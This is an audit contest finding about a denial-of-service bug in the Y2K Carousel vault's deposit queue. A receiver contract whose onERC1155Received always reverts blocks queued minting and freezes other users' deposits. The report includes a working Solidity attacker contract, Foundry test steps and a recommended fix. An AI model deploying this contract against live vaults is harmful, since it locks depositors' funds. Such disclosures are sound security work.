0xRobocop - The depositQueue can get DoSed

[sherlock-admin]

0xRobocop

high

The depositQueue can get DoSed

Summary

Due to an unsafe external call on the _mint() function a user can break the depositQueue.

Vulnerability Detail

When the mintDepositInQueue() function is executed, it process all the deposits in the depositQueue in a FILO order. Eventually, the _mintShares() function is called, which calls the _mint() function of the ERC1155.sol contract, with queue[i].receiver as the to parameter.

At the end of the _mint() function, the _doSafeTransferAcceptanceCheck() function is called, this function makes an external call to to, which is an address chosen arbitrarily by the depositor, if this is a contract. This contract can fail on purpose to revert the execution of the mintDepositInQueue() function.

Impact

Because the deposits are never processed and hence the vault shares never minted, there is no a viable way to take out the tokens sent by the depositors that decided to use the queueDeposit.

Changing the controller to call the sendTokens() function on the vault does not work since the vault can only send tokens up to an amount equal to finalTVL[epochId] which is equal to the totalSupply of the vault shares for the given epochId.

A way to take the tokens out from the contract is by changing the controller and calling the setClaimTVL() function with an amount (like if they won the epoch) that allows the users who have vault shares to withdraw them via the withdraw() function (because their shares are worth more). But there is no guarantee these users will send back the tokens.

Because the depositQueue follows a FILO order, the only affected entries are the ones previous to the attacker deposit, but because the cost of the attack is too low (the minimum cost is the relayerFee), the attacker can place multiple entries to affect the most users.

Proof of Concept

Create the next contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface Carousel2 {
  function deposit(uint256 id, uint256 assets, address receiver) external;
  function mintDepositInQueue(uint256 epochId, uint256 operations) external;
}

interface ERC202 {
  function balanceOf(address account) external returns(uint256);
  function approve(address spender, uint256 amount) external returns(bool);
}

contract BreakDepositQueue {

  Carousel2 public collateralVault;
  Carousel2 public premiumVault;

  ERC202 public underlyingAsset;

  constructor(address _collateralVault, address _premiumVault, address _underlyingAsset) {
    collateralVault = Carousel2(_collateralVault);
    premiumVault = Carousel2(_premiumVault);

    underlyingAsset = ERC202(_underlyingAsset);
  }

  function breakDepositQueue(uint256 epochId) external {
    uint256 balance = underlyingAsset.balanceOf(address(this));
    
    underlyingAsset.approve(address(premiumVault), balance);

    callDepositPremium();
  }

  function callDepositPremium() internal {
    premiumVault.deposit(0, underlyingAsset.balanceOf(address(this)), address(this));
  }

  function onERC1155Received(
        address,
        address,
        uint256,
        uint256,
        bytes memory
    ) public returns (bytes4) {

      revert();       
    }
}

Then create a test on the EndToEndCaraouselTest.t.sol file.

1. Import the attacker contract: import "../../../src/attacker/BreakDepositQueue.sol";
2. Add to the state variables BreakDepositQueue public breakDepositQueueContract;
3. Add at the end of the setUp() function:

breakDepositQueueContract = new BreakDepositQueue(
            collateral,
            premium,
            UNDERLYING
        );

deal(UNDERLYING, address(breakDepositQueueContract), 1 ether, true);

4. Add the following function test:

function testBreakingDepositQueue() public {
        // USER joins the depositQueue
        vm.startPrank(USER);

        vm.warp(begin - 1 days);

        IERC20(UNDERLYING).approve(premium, 18 ether);
        Carousel(premium).deposit(0, 18 ether, USER);
       
        vm.stopPrank();

        // USER2 joins the depositQueue
        vm.startPrank(USER2);

        vm.warp(begin - 1 days);

        IERC20(UNDERLYING).approve(collateral, 10 ether);
        Carousel(collateral).deposit(0, 10 ether, USER2);

        vm.stopPrank();

        // Attacker breaks the depositQueue
        vm.warp(begin - 1 days);
        // Assert the balance of the attacker contract
        assertEq(1 ether, IERC20(UNDERLYING).balanceOf(address(breakDepositQueueContract)));

        breakDepositQueueContract.breakDepositQueue(epochId);

        // Attacker contract has 0 balance now
        assertEq(0, IERC20(UNDERLYING).balanceOf(address(breakDepositQueueContract)));

        premiumQueueLength = Carousel(premium).getDepositQueueLenght();
        vm.expectRevert();
        Carousel(premium).mintDepositInQueue(epochId, premiumQueueLength);
    }

5. Run forge test --match-contract EndToEndCarouselTest --match-test testBreakingDepositQueue.

Code Snippet

https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L334

Tool used

Manual Review

Recommendation

Remove _doSafeTransferAcceptanceCheck() from _mint().

Duplicate of #468